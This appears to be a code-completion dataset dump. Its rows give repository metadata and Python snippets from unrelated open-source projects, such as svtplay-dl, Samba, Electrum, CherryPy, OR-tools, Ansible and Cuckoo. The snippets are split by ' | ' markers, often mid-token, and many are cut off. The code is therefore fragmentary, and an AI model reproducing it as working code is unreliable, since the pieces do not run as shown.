"""The ``is not`` operator."""
class Lt(cmpop):
"""The ``<`` operator."""
class LtE(cmpop):
"""The ``<=`` operator."""
class NotEq(cmpop):
"""The ``!=`` (or deprecated ``<>``) operator."""
class NotIn(cmpop):
"""The ``not in`` operator."""
class comprehension(AST, ... | single ``for`` list comprehension clause.
:ivar target: (assignable :class:`AST`) the variable(s) bound in comprehension body
:ivar iter: (:class:`AST`) the expression being iterated
:ivar ifs: (list of :class:`AST`) the ``if`` clauses
:ivar for_loc: location of the ``for`` keyword
:ivar in_loc: l... |
rkycia/GenEx | test.py | Python | gpl-3.0 | 4,308 | 0.036444 | #! /usr/bin/env python
# @brief Script to run apropriate tests.
import os
import distutils.core
from shutil import rmtree, copyfile
"""Avaiable tests dictionary in the format no_of_test : name_of_test"""
tests = {0:"default Generator.dat with lot of comments and explanations",
1:"RHIC pt_pi, eta_pi; tecm = 200... | eta_pi, t1, t2; tecm = 500GeV; Lambda2=1",
6:"RHIC pt_pi, eta_pi, t1, t2; tecm = 500GeV; Lambda2=1.6",
7:"LHC pt_pi, eta_pi; tecm = | 7TeV, 1st; Lambda2=1.2",
8:"LHC pt_pi, eta_pi; tecm = 7TeV, 1st; Lambda2=1.6",
9:"LHC pt_pi, eta_pi; tecm = 7TeV, 2nd; Lambda2=1.2",
10:"LHC pt_pi, eta_pi; tecm = 7TeV, 2nd; Lambda2=1.6",
11:"LHC pt_K, eta_K; tecm = 7TeV, 1st; Lambda2=1.2",
12:"LHC pt_K, eta_K; tecm = 7TeV, 1st; Lambda2=1.6",
13:"LHC pt_K, e... |
olof/svtplay-dl | lib/svtplay_dl/service/tests/oppetarkiv.py | Python | mit | 591 | 0.001692 | #!/usr/bin/python
| # ex:ts=4:sw=4: | sts=4:et
# -*- tab-width: 4; c-basic-offset: 4; indent-tabs-mode: nil -*-
# The unittest framwork doesn't play nice with pylint:
# pylint: disable-msg=C0103
from __future__ import absolute_import
import unittest
from svtplay_dl.service.oppetarkiv import OppetArkiv
from svtplay_dl.service.tests import HandlesURLsTes... |
wimberosa/samba | source4/scripting/python/samba/tests/core.py | Python | gpl-3.0 | 2,175 | 0.004598 | #!/usr/bin/env python
# Unix SMB/CIFS implementation.
# Copyright (C) Jelmer Vernooij <jelmer@samba.org> 2007-2008
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 3 of the Lice... | f.assertEquals("bla",
l.searchone(basedn=ldb.Dn(l, "foo=dc"), attribute="bar"))
finally:
del l
| os.unlink(path)
|
henriquebastos/fixofx | fixofx/ofx/document.py | Python | apache-2.0 | 3,289 | 0.001216 | #coding: utf-8
# Copyright 2005-2010 Wesabe, Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or a... | NEWFILEUID"])
if original_format is not None:
xml += """ | <!-- Converted from: %s -->\n""" % original_format
if date_format is not None:
xml += """<!-- Date format was: %s -->\n""" % date_format
taglist = self.parse_dict["body"]["OFX"][0].asList()
xml += self._format_xml(taglist)
return xml
def _format_xml(self, mylist, inden... |
sergecodd/FireFox-OS | B2G/gecko/dom/bindings/BindingGen.py | Python | apache-2.0 | 2,361 | 0.003388 | # This Source Code Form is subject to the terms of the Mozilla Public
# License, v. 2.0. If a copy of the MPL was not distributed with this file,
# You can obtain one at http://mozilla.org/MPL/2.0/.
import os
import cPickle
import WebIDL
from Configuration import *
from Codegen import CGBindingRoot, replaceFileIfChang... | se()
# Create the configuration data.
config = Configuration(configFile, parserData)
# Generate the prototype classes.
if buildTarget == "header":
generate_binding_header(config, outputPrefix, webIDLFile);
elif buildTarget == "cpp":
generate_binding_cpp(config, outputPrefix, webIDL... | ':
main()
|
marlengit/electrum198 | plugins/exchange_rate.py | Python | gpl-3.0 | 18,608 | 0.00489 | from PyQt4.QtGui import *
from PyQt4.QtCore import *
import datetime
import decimal
import httplib
import json
import threading
import re
from decimal import Decimal
from electrum.plugins import BasePlugin
from electrum.i18n import _
from electrum_gui.qt.util import *
EXCHANGES = ["BitcoinAverage",
"Bit... | = threading.Event()
self.use_exchange = self.parent.config.get('use_exchange', "Blockchain")
self.parent.exchanges = EXCHANGES
self.parent.currencies = ["EUR","GBP","USD"]
self.parent.win.emit(SIGNAL("refresh_exchanges_combo()"))
self.parent.win.emit(SIGNAL("refresh_currencies_co... |
def get_json(self, site, get_string):
try:
connection = httplib.HTTPSConnection(site)
connection.request("GET", get_string)
except Exception:
raise
resp = connection.getresponse()
if resp.reason == httplib.responses[httplib.NOT_FOUND]:
... |
evilhero/mylar | lib/cherrypy/test/test_etags.py | Python | gpl-3.0 | 3,071 | 0.003256 | import cherrypy
from cherrypy.test import helper
class ETagTest(helper.CPWebCase):
def setup_server():
class Root:
def resource(self):
return "Oh wah ta goo Siam."
resource.exposed = True
def fail(self, code):
code = int(cod... | erver)
def test_etags(self):
self.getPage("/resource")
self.assertStatus('200 OK')
self.assertHeader('Content-Type', 'text/html;charset=utf-8')
self.assertBody('Oh wah ta goo Siam.')
etag = self.assertHeader('ETag')
# Test If-Match (both valid and invali... |
self.getPage("/resource", headers=[('If-Match', etag)])
self.assertStatus("200 OK")
self.getPage("/resource", headers=[('If-Match', "*")])
self.assertStatus("200 OK")
self.getPage("/resource", headers=[('If-Match', "*")], method="POST")
self.assertStatus("200 OK")
... |
briancurtin/python-openstacksdk | examples/cluster/profile.py | Python | apache-2.0 | 2,100 | 0 | # Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under t... | es.connect import FLAVOR_NAME
from examples.connect import IMAGE_NAME
from examples.connect import NETWORK_NAME
from examples.connect import SERVER_NAME
"""
Managing profiles in the Cluster service.
For a full guide see
https://developer.openstack.org/sdks/python/openstacksdk/users/guides/cluster.html
"""
def list_... | r profile in conn.cluster.profiles(sort='name:asc'):
print(profile.to_dict())
def create_profile(conn):
print("Create Profile:")
spec = {
'profile': 'os.nova.server',
'version': 1.0,
'properties': {
'name': SERVER_NAME,
'flavor': FLAVOR_NAME,
... |
adviti/melange | thirdparty/google_appengine/lib/django_1_2/tests/regressiontests/admin_ordering/models.py | Python | apache-2.0 | 224 | 0.004464 | # coding: utf-8
from django.db import models
class Band(models.Model):
name = models.CharField( | max_length=100)
bio = models.TextField()
rank = models.IntegerField()
class Meta:
order | ing = ('name',)
|
mame98/ArchSetup | scripts/debug-preview.py | Python | gpl-3.0 | 1,383 | 0.005061 | #!/usr/bin/env python3
import os
import sys
sys.path.insert(1, os.path.join(sys.path[0], '..'))
from SetupTools.SetupConfig import SetupConfig
from Interface.Interface import Interface
import importlib
import logging
class Previewer:
def __init__(self):
logging.basicConfig(filename='ArchSetup.preview.log',... | Windows."+x)
cl = getattr(i, x)
self.windows.append(cl(self.callback, self.setupconfig))
self.interface.addwin(self.windows[self.window_index])
elif event == 'prev':
self.window_index -= 1
self.interface.addwin(self.windows[self.window_index]... | return
self.interface.addwin(self.windows[self.window_index])
if __name__ == "__main__":
Previewer()
|
google/or-tools | ortools/constraint_solver/samples/vrp_tokens.py | Python | apache-2.0 | 6,133 | 0.000326 | #!/usr/bin/env python3
# Copyright 2010-2021 Google LLC
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law ... | meters.time_limit.FromSeconds(1)
# Solve the problem.
solution = routing.SolveWithParameters(search_parameters)
# Print solution on console.
# [START print_solution]
if solution:
| print_solution(manager, routing, solution)
else:
print('No solution found !')
# [END print_solution]
if __name__ == '__main__':
main()
|
kevthehermit/viper | viper/common/autorun.py | Python | bsd-3-clause | 1,981 | 0.002019 | # -*- coding: utf-8 -*-
# This file is part of Viper - https://github.com/viper-framework/viper
# See the file 'LICENSE' for copying permission.
from viper.common.out import print_info
from viper.common.out import print_error
from viper.common.out import print_output
from viper.core.plugins import __modules__
from vip... | if not split_command:
continue
root, args = parse_commands(split_command)
try:
if root in __modules__:
print_info("Running command \"{0}\"".format(split_command))
module = __modules__[root]['obj']()
... | line(args)
module.run()
if cfg.modules.store_output and __sessions__.is_set():
Database().add_analysis(file_hash, split_command, module.output)
if cfg.autorun.verbose:
print_output(module.output)
... |
alxgu/ansible | lib/ansible/modules/cloud/amazon/lambda_facts.py | Python | gpl-3.0 | 13,097 | 0.003054 | #!/usr/bin/python
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed... | params['MaxItems'] = module.params.get('max_items')
if module.params.get('next_marker'):
params['Marker'] = module.params.get('next_marker')
try:
lambda_facts.update(aliases=client.list_aliases(FunctionName=function_n | ame, **params)['Aliases'])
except ClientError as e:
if e.response['Error']['Code'] == 'ResourceNotFoundException':
lambda_facts.update(aliases=[])
else:
module.fail_json_aws(e, msg="Trying to get aliases")
else:
module.fail_json(msg='Parameter ... |
dozymoe/PyCircularBuffer | tests/test_index.py | Python | mit | 527 | 0.001898 | from circularbuffer import CircularBuffer
from pytest import raises
def test_index():
buf = CircularBuffer(32)
buf.write(b'asdf\r\njkl;\r\n1234\r\n')
assert buf.index(b'\r\n') == 4
assert buf.index(b'\r\n', 5) == 10
with raises(ValueError):
buf.inde | x(b'x')
buf.clear()
buf.write(b'asdf\r\njkl;\r\n1234\r\na')
assert buf.index(b'\r\n') == 4
assert buf.index(b' | \r\n', 5) == 10
with raises(ValueError):
buf.index(b'x')
with raises(ValueError):
buf.index(b'')
|
CyrilWaechter/pyRevitMEP | pyRevitMEP.tab/Lab.panel/Lab.pulldown/ConvertToFlexPipe.pushbutton/script.py | Python | gpl-3.0 | 451 | 0.004435 | import rpw
from pyrevit.script import get_logger
logger = get_logger()
selection = rpw.ui.Selection()
# TODO check in only one loop
number_of_unused_connectors = | sum([element.ConnectorManager.UnusedConnectors.Size for element in selection])
logger.debug(number_of_unused_connectors)
if number_of_unused_connectors > 2:
rpw.ui.forms.Alert('Please select only one loop')
for element in selection:
element.Conne | ctorManager.UnusedConnectors
|
kenshay/ImageScript | ProgramData/SystemFiles/Python/Lib/site-packages/elan/Pools/Quick_Tests/7____Set_System_Description_Restart_Check___.py | Python | gpl-3.0 | 639 | 0.007825 | from elan import *
#Set System description
#Finished
Viewer.Start()
Viewer.CloseAndClean()
Configurator.Start()
Configurator.basicinformation.Click()
Configurator.systemname.Wait()
sleep(1)
Configurator.Edit.SetText(2,"Changed")
Configurator.apply.Wait()
Configurator.apply.Click()
Configurator.RestartHard()
Configur... | or.Edit.SetText(2," ")
Configurator.apply.Wait()
Configurator.apply.Click()
Configurator.CloseAndClean()
print(' | Finished') |
brennmat/ruediPy | documentation/ruediPy/list_python_API.py | Python | gpl-3.0 | 1,842 | 0.050489 | #!/usr/bin/env python3
import inspect
from classes.rgams_SRS import rgams_SRS
from classes.selectorvalve_VICI import selectorvalve_VICI
from classes.selectorvalve_compositeVICI import selectorvalve_compositeVICI
from classes.pressuresensor_WIKA import pressuresensor_WIKA
from classes.pressuresensor_... | ile(X)
outfile.write ( '\path{' + P[P.find('python'):len(P)] + '}\par\n' )
doc = inspect.getdoc(X)
if doc is None:
outfile.write ( 'No class description available.\par' )
else:
# outfile.write ( '\\texttt{' + inspect.getdoc(X) + '+\n' )
outfile.write ( inspect.getdoc(X) + '\par' )
outfile.write ( '\n\n' )
... | ' :
continue
if name == '__doc__':
continue
if name == '__init__':
continue
if name == '__module__':
continue
outfile.write ( '\paragraph{Method \\texttt{' + name + '}}\n\\vspace{1ex}\n' )
exec ( 'doc = ' + X.__name__ + '.' + name + '.__doc__' )
if doc is None:
outfile.write ( 'No method d... |
skashyap7/polar.usc.edu | html/team25ev/similarity_clustering/read_json.py | Python | apache-2.0 | 416 | 0.012019 | import scipy.cluster.hierarchy as hcl
from sc | ipy.spatial.distance import squareform
import pandas as pd
import numpy as np
from matplotlib import pyplot as plt
from scipy.cluster.hierarchy import dendrogram
import scipy
import json
#data = pd.read_json(path_or_buf= 'C:\Users\davtalab\Desktop\outJSON | .json')
parsed_json = json.loads(open('C:\Users\davtalab\Desktop\data.json').read())
print parsed_json[1]['id']
|
vmthunder/nova | nova/tests/api/openstack/compute/test_server_actions.py | Python | apache-2.0 | 60,337 | 0.000447 | # Copyright 2011 OpenStack Foundation
# All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless requ... | method)
body = {'changePassword': {'adminPass': '1234pass'}}
req = fakes.HTTPRequest.blank(self.url)
self.controller._action_change_password(req, FAKE_UUID, body)
self.assertEqual(mock_method.instance_id, self.uuid)
# note,the mock still contains the password.
self.asse... | HTTPRequest.blank(self.url)
self.assertRaises(webob.exc.HTTPBadRequest,
self.controller._action_change_password,
req, FAKE_UUID, body)
def tes |
onaio/dkobo | dkobo/koboform/serializers.py | Python | agpl-3.0 | 2,038 | 0.002944 | from rest_framework import serializers
from models import SurveyDraft
from taggit.models import Tag
class WritableJSONField(serializers.Field):
""" Serializer for JSONField -- required to make field writable"""
""" ALSO REQUIRED because the default JSONField serialization includes the
`u` prefix on string... | zer):
class Meta:
model = SurveyDraft
fields = ('id', 'name', 'asset_type', | 'summary', 'date_modified', 'description')
summary = WritableJSONField(required=False)
class DetailSurveyDraftSerializer(serializers.HyperlinkedModelSerializer):
tags = serializers.SerializerMethodField('get_tag_names')
summary = WritableJSONField(required=False)
class Meta:
model = SurveyDr... |
e7dal/hexy | hexy/cursor.py | Python | gpl-3.0 | 1,100 | 0.128182 | from .util.deb import deb
from .util.nrange import nrange
from .cell import Cell
#F,e,Cursor
from .grid import spoint
CURSOR_POS=None
d | ef gcp(): #get cursor position
global CURSOR_POS
deb('gcp' | ,CURSOR_POS)
return CURSOR_POS
def scp(x,y):
deb('scp',gcp(),x,y)
cxc=0 #todo, normalize in cursor...
global CURSOR_POS
CURSOR_POS=(x,y)
assert (x,y)==gcp()
#todo cpget and cpset
cpget=gcp
cpset=scp
def cursor(HG,x,y,f,X,Y):
deb('make an a cursor in the empty space around point in cell x,y',x,y)
#x,y=x-1,y-... |
frippe12573/geonode | geonode/maps/urls.py | Python | gpl-3.0 | 2,230 | 0.001794 | # -*- coding: utf-8 -*-
#########################################################################
#
# Copyright (C) 2012 OpenPlans
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either versio... | License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
#
##################### | ####################################################
from django.conf.urls.defaults import patterns, url
js_info_dict = {
'packages': ('geonode.maps',),
}
urlpatterns = patterns('geonode.maps.views',
url(r'^$', 'map_list', name='maps_browse'),
url(r'^tag/(?P<slug>[-\w]+?)/$', 'maps_tag', name='maps_brows... |
OCA/l10n-switzerland | l10n_ch_states/__manifest__.py | Python | agpl-3.0 | 493 | 0 | # Copyright 2019-2020 Camptocamp SA
# Copyright 2015 Mathias Neef copadoME | DIA UG
# License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl).
{
"name": "Switzerland Country States",
"category": "Localisation",
"summary": "",
"version": "14.0.1.0.0",
"author": "copado MEDIA UG," "Odoo Community Association (OCA)",
"website": "https://github.com/OCA/l10n-switzerland"... | y_states.xml"],
}
|
romain-li/edx-platform | common/test/acceptance/pages/lms/courseware.py | Python | agpl-3.0 | 23,445 | 0.003156 | """
Courseware page.
"""
from bok_choy.page_object import PageObject, unguarded
from bok_choy.promise import EmptyPromise
import re
from selenium.webdriver.common.action_chains import ActionChains
from common.test.acceptance.pages.lms.bookmarks import BookmarksPage
from common.test.acceptance.pages.lms.course_page im... | oltips_displayed(self):
"""
Verify that all sequence navigation bar tooltips are being displayed upon mouse hover.
If a tool | tip does not appear, raise a BrokenPromise.
"""
for index, tab in enumerate(self.q(css='#sequence-list > li')):
ActionChains(self.browser).move_to_element(tab).perform()
self.wait_for_element_visibility(
'#tab_{index} > .sequence-tooltip'.format(index=index),
... |
GoogleCloudPlatform/bank-of-anthos | src/userservice/db.py | Python | apache-2.0 | 4,158 | 0.000962 | # Copyright 2019 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, ... | self.logger.debug('RESULT: account ID already exists. Trying again')
self.logger.debug('RESULT: account ID generated.')
return accountid
def get_user(self, username):
"""Get user data for the specified username.
Params: username - the username of the user
Ret... | dict of user attributes,
{'username': username, 'accountid': accountid, ...}
or None if that user does not exist
Raises: SQLAlchemyError if there was an issue with the database
"""
statement = self.users_table.select().where(self.users_table.c.username == usernam... |
ChameleonCloud/blazar | blazar/db/migration/alembic_migrations/versions/42c7fd6e792e_add_device_reservation.py | Python | apache-2.0 | 5,436 | 0.000552 | # Copyright 2021 OpenStack Foundation.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in ... | _column('instance_reservations', 'affinity',
existing_type=mysql.TINYINT(display_width=1),
| nullable=True)
op.drop_table('device_reservations')
op.drop_table('device_allocations')
op.drop_table('device_extra_capabilities')
op.drop_table('devices')
# ### end Alembic commands ###
|
timokoola/okrest | okrest/okrest/urls.py | Python | apache-2.0 | 449 | 0.008909 | from django.conf.urls import patterns, include, url
from django.contrib import admin
| from api import views
admin | .autodiscover()
from rest_framework.routers import DefaultRouter
router = DefaultRouter()
router.register(r'headings', views.HeadingViewSet)
router.register(r'users', views.UserViewSet)
urlpatterns = patterns('',
url(r'^', include(router.urls)),
url(r'^api-auth/', include('rest_framework.urls', namespace='res... |
pymedusa/Medusa | ext/jsonrpclib/jsonrpc.py | Python | gpl-3.0 | 43,868 | 0.000046 | #!/usr/bin/python
# -- Content-Encoding: UTF-8 --
"""
============================
JSONRPC Library (jsonrpclib)
============================
This library is a JSON-RPC v.2 (proposed) implementation which
follows the xmlrpclib API for portability between clients. It
uses the same Server / ServerProxy, loads, dumps, etc... | . :)
For a quick-start, just open a console and type the following,
replacing the server address, method, and parameters
appropriately.
>>> import jsonrpclib
>>> server = jsonrpclib.Server('http://localhost:8181')
>>> | server.add(5, 6)
11
>>> server._notify.add(5, 6)
>>> batch = jsonrpclib.MultiCall(server)
>>> batch.add(3, 50)
>>> batch.add(2, 3)
>>> batch._notify.add(3, 5)
>>> batch()
[53, 5]
See https://github.com/tcalmant/jsonrpclib for more info.
:authors: Josh Marshall, Thomas Calmant
:copyright: Copyright 2020, Thomas Calma... |
ingvagabund/gofed | modules/RemoteSpecParser.py | Python | gpl-2.0 | 2,663 | 0.015396 | # ####################################################################
# gofed - set of tools to automize packaging of golang devel codes
# Copyright (C) 2014 Jan Chaloupka, jchaloup@redhat.com
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public Licen... | # as published by the Free Software Foundation; eith | er version 2
# of the License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# Yo... |
gaomeng1900/SQIP-py | sqip/dashboard/dashboard.py | Python | cc0-1.0 | 548 | 0.018248 | #!/usr/bin/env python
#-*-coding:utf-8-*-
#
# @author Meng G.
# 2016-03-28 restructed
from sqip.config import *
from sqip.libs import *
dashboard = Blueprint('dashboard', __name__, | template_folder='templates')
@base.route('/admin/login' , methods=['GET'])
@union_bug |
def admin_login():
template = env.get_template('login.html')
return template.render()
@base.route('/admin' , methods=['GET'])
@base.route('/admin/<oath:path>' , methods=['GET'])
@union_bug
def admin():
template = env.get_template('index.html')
return template.render() |
wuqize/FluentPython | chapter20/bulkfood/bulkfood_v3.py | Python | lgpl-3.0 | 720 | 0.005556 | #coding=utf-8
class Quantity:
|
__counter = 0
def __init__(self):
cls = self.__class__
prefix = cls.__name__
index = cls.__counter
self.storage_name = '_{}#{}'.forma | t(prefix, index)
cls.__counter += 1
def __set__(self, isinstance, value):
if value > 0:
isinstance.__dict__[self.storage_name] = value
else:
raise ValueError('value must be > 0')
class LineItem:
weight = Quantity()
price = Quantity()
def __init__(self, ... |
graingert/sqlalchemy | test/dialect/mysql/test_dialect.py | Python | mit | 14,932 | 0 | # coding: utf-8
import datetime
from sqlalchemy import bindparam
from sqlalchemy import Column
from sqlalchemy import DateTime
from sqlalchemy import func
from sqlalchemy import Integer
from sqlalchemy import MetaData
from sqlalchemy import Table
from sqlalchemy import testing
from sqlalchemy.dialects import mysql
fr... | qlalchemy.dialects.mysql import oursql
dialect = oursql.dialect()
self._test_ssl_arguments(dialect)
def _t | est_ssl_arguments(self, dialect):
kwarg = dialect.create_connect_args(
make_url(
"mysql://scott:tiger@localhost:3306/test"
"?ssl_ca=/ca.pem&ssl_cert=/cert.pem&ssl_key=/key.pem"
)
)[1]
# args that differ among mysqldb and oursql
for ... |
aheadley/python-naabal | naabal/util/bitio.py | Python | mit | 2,763 | 0.002533 | # @source http://rosettacode.org/wiki/Bitwise_IO#Python
# @license http://www.gnu.org/licenses/fdl-1.2.html
import logging
logger = logging.getLogger('naabal.util.bitio')
class BitIO(object):
BITS_IN_BYTE = 8
DEFAULT_MASK = 1 << (BITS_IN_BYTE - 1) # 0x80
def __init__(self, handle):
self._d... | ASK
return bits_value
def _load_bit_buffer(self):
c = self._data_buffer.r | ead(1)
if c:
self._bit_buffer = ord(c)
self._bit_idx += 1
else:
raise IOError('Attempted to read past EOF')
|
dbbhattacharya/kitsune | vendor/packages/pylint/test/test_func.py | Python | bsd-3-clause | 7,955 | 0.007291 | # Copyright (c) 2003-2008 LOGILAB S.A. (Paris, FRANCE).
# http://www.logilab.fr/ -- mailto:contact@logilab.fr
#
# This program is free software; you can redistribute it and/or modify it under
# the terms of the GNU General Public License as published by the Free Software
# Foundation; either version 2 of the License, o... | te
self.linter.reporter.finalize()
ex.file = tocheck
ex.__str__ = new.instancemethod(exception_str, ex, None)
raise
if self.module.startswith('func_noerror_'):
expected = ''
else:
output = open(self.output)
expected = ou... | ot, expected)
except Exception, ex:
# doesn't work with py 2.5
#ex.file = tocheck
#ex.__str__ = new.instancemethod(exception_str, ex, None)
raise AssertionError('%s: %s' % (self.module, ex)), None, sys.exc_info()[-1]
class LintTestUsingFile(LintTestUsingModule): ... |
rh-lab-q/conflab | wsgi/openshift/confla/urls.py | Python | gpl-3.0 | 6,136 | 0.008638 | from django.conf.urls import url, include
from django.conf.urls.static import static
from django.conf import settings
from django.contrib import admin
from django.urls import path
from confla import views
app_name = "confla"
urlpatterns = [
path('admin/', admin.site.urls),
url(r'^$', views.IndexView... | user/(?P<url_username>\w+)/delete_mail/(?P<id>\d+)/', views.UserView.delete_ema | il, name='delete_email'),
url(r'^user/(?P<url_username>\w+)/set_primary_mail/(?P<id>\d+)/', views.UserView.set_email_primary, name='set_primary_email'),
url(r'^user/volunteer/$', views.VolunteerView.my_view, name='volunteer'),
url(r'^register/$', views.RegisterView.user_register, name='register'... |
anselmobd/fo2 | src/itat/views/views.py | Python | mit | 131 | 0 | from pprint import pprint
from django.shor | tcuts import render
def index(request):
return render(requ | est, 'itat/index.html')
|
pdevetto/misc | lastfm/playlist.py | Python | gpl-3.0 | 7,352 | 0.010473 | # -*- coding: utf-8 -*-
import ConfigParser, sys, os, urllib2, json, time, shutil, filecmp
import Levenshtein
config = ConfigParser.ConfigParser()
config.read("config.ini")
def clean(chaine):
#print chaine
return chaine.lower().strip()
def decode(chaine):
chaine = chaine.replace(u"\u2018", "'").replace(u"... | ,'key')
self.music_dir = config.get("lastfm",'directory')
self.page = page
self.mp_dir = config.get("lastfm",'mudir')
self.user = conf | ig.get("lastfm",'user')
self.dossier = os.listdir(self.music_dir)
self.period = period
self.limit = limit
self.notfound = []
#for i in req!
def lastfm(self, meth):
try:
url = 'http://ws.audioscrobbler.com/2.0/?api_key='+self.api_key+'&autocorrect=1'+meth... |
hpcugent/easybuild-framework | easybuild/toolchains/gomkl.py | Python | gpl-2.0 | 1,727 | 0.001737 | ##
# Copyright 2012-2021 Ghent University
#
# This file is part of EasyBuild,
# originally created by | the HPC team of Ghent University (ht | tp://ugent.be/hpc/en),
# with support of Ghent University (http://ugent.be/hpc),
# the Flemish Supercomputer Centre (VSC) (https://www.vscentrum.be),
# Flemish Research Foundation (FWO) (http://www.fwo.be/en)
# and the Department of Economy, Science and Innovation (EWI) (http://www.ewi-vlaanderen.be/en).
#
# https://gi... |
trendels/rhino | examples/content_type_versioning.py | Python | mit | 1,165 | 0.004292 | import json
from rhino import Mapper, get
# Our internal representation
report = {
'title': 'foo',
'author': 'Fred',
'date': '2015-01-09',
'tags': ['a', 'b', 'c'],
}
# Base class for our representations
class report_repr(object | ):
@classmethod
def serialize(cls, report):
obj = dict([(k, report[k]) for k in cls.fields])
return json.dumps(obj, sort_keys=True)
# Different versions of the representation
class report_v1(report_repr):
provides = 'application/vnd.acme.report+json;v=1'
fields = ['title', 'author']
cl... | = ['title', 'author', 'date']
class report_v3(report_repr):
provides = 'application/vnd.acme.report+json;v=3'
fields = ['title', 'author', 'date', 'tags']
# One handler can handle multiple representations.
# Here, report_v3 is the default when the client doesn't specify a preference.
@get(produces=report_v1)... |
NeCTAR-RC/horizon | openstack_dashboard/dashboards/admin/defaults/tests.py | Python | apache-2.0 | 6,926 | 0 | # Copyright 2013 Kylin, Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed... | test.IsHttpRequest())
self.assertEqual(2, self.mock_is_service_enabled.call_count)
self.mock_is_service_enabled.assert_has_calls([
mock.call(test.IsHttpRequest(), 'compute'),
mock.call(test.IsHttpRequest(), 'network')])
self.assert_mock_multiple_calls_with_same_ar... | self.mock_enabled_quotas, 4,
mock.call(test.IsHttpRequest()))
self.mock_nova_default_quota_get.assert_called_once_with(
test.IsHttpRequest(), self.tenant.id)
self.mock_cinder_default_quota_get.assert_called_once_with(
test.IsHttpRequest(), self.tenant.id)
se... |
cuckoobox/cuckoo | cuckoo/private/db_migration/versions/from_1_1_to_1_2-added_states.py | Python | mit | 7,228 | 0.004289 | # Copyright (C) 2010-2013 Claudio Guarnieri.
# Copyright (C) 2014-2016 Cuckoo Foundation.
# This file is part of Cuckoo Sandbox - http://www.cuckoosandbox.org
# See the file 'docs/LICENSE' for copying permission.
"""Added failed statuses to tasks (from Cuckoo 1.1 to 1.2)
Revision ID: 495d5a6edef3
Revises: 18eee46c6f8... | n("started_on" | , sa.DateTime(timezone=False), nullable=True),
sa.Column("completed_on", sa.DateTime(timezone=False), nullable=True),
sa.Column("status", sa.Enum("pending", "running", "completed", "reported", "recovered", "failed_analysis", "failed_processing", "failed_reporting", name="status_type"), s... |
openstack/freezer-api | freezer_api/tests/unit/sqlalchemy/v2/test_action.py | Python | apache-2.0 | 19,604 | 0 | # (c) Copyright 2018 ZTE Corporation.
# All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless requ... | self.assertIsNotNone(result)
result = self.dbapi.get_action(project_id=self.fake_project_id,
user_id=self.fake_action_2.
get('user_id'),
action_id=self.fake_action_id)
self.assertEqua... | t_add_and_search_action(self):
count = 0
actionids = []
while(count < 20):
doc = cop |
lkhomenk/integration_tests | cfme/infrastructure/provider/rhevm.py | Python | gpl-2.0 | 6,107 | 0.003111 | import attr
from widgetastic.widget import View, Text
from widgetastic_patternfly import Tab, Input, BootstrapSwitch, Button
from wrapanapi.rhevm import RHEVMSystem
from cfme.common.candu_views import VMUtilizationView
from cfme.common.provider import CANDUEndpoint, DefaultEndpoint, DefaultEndpointForm
from cfme.comm... | etastic_manageiq import LineChart
from . import InfraProvider
class RHEVMEndp | oint(DefaultEndpoint):
@property
def view_value_mapping(self):
tls_since_version = '5.8.0.8'
return {'hostname': self.hostname,
'api_port': getattr(self, 'api_port', None),
'verify_tls': version.pick({
version.LOWEST: None,
... |
EndPointCorp/lg_ros_nodes | lg_keyboard/setup.py | Python | apache-2.0 | 309 | 0 | #!/usr/bin/env python3
from dis | tutils.core import setup
from catkin_pkg.python_setup import generate_distutils_setup
d = generate_distutils_setup(
packages=['lg_keyboard'],
package_dir={'': 'src'},
scripts=[],
requires=[]
)
setu | p(**d)
# vim: tabstop=8 expandtab shiftwidth=4 softtabstop=4
|
p5a0u9l/clamm | doc/conf.py | Python | mit | 4,816 | 0.000208 | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
#
# clamm documentation build configuration file, created by
# sphinx-quickstart on Thu Mar 2 20:47:20 2017.
#
# This file is execfile()d with the current directory set to its
# containing dir.
#
# Note that not all possible configuration values are present in this
# auto... | the Pygments (syntax highlighting) style to use.
pygments_style = 'sphinx'
# If true, `todo` and `todoList` produce output, else they produce nothing.
todo_include_todos = False
# -- Options for HTML output ----------------------------------------------
# The theme to use for HTML and HTML Help pages. See the docu... | tomize the look and feel of a theme
# further. For a list of options available for each theme, see the
# documentation.
#
# html_theme_options = {}
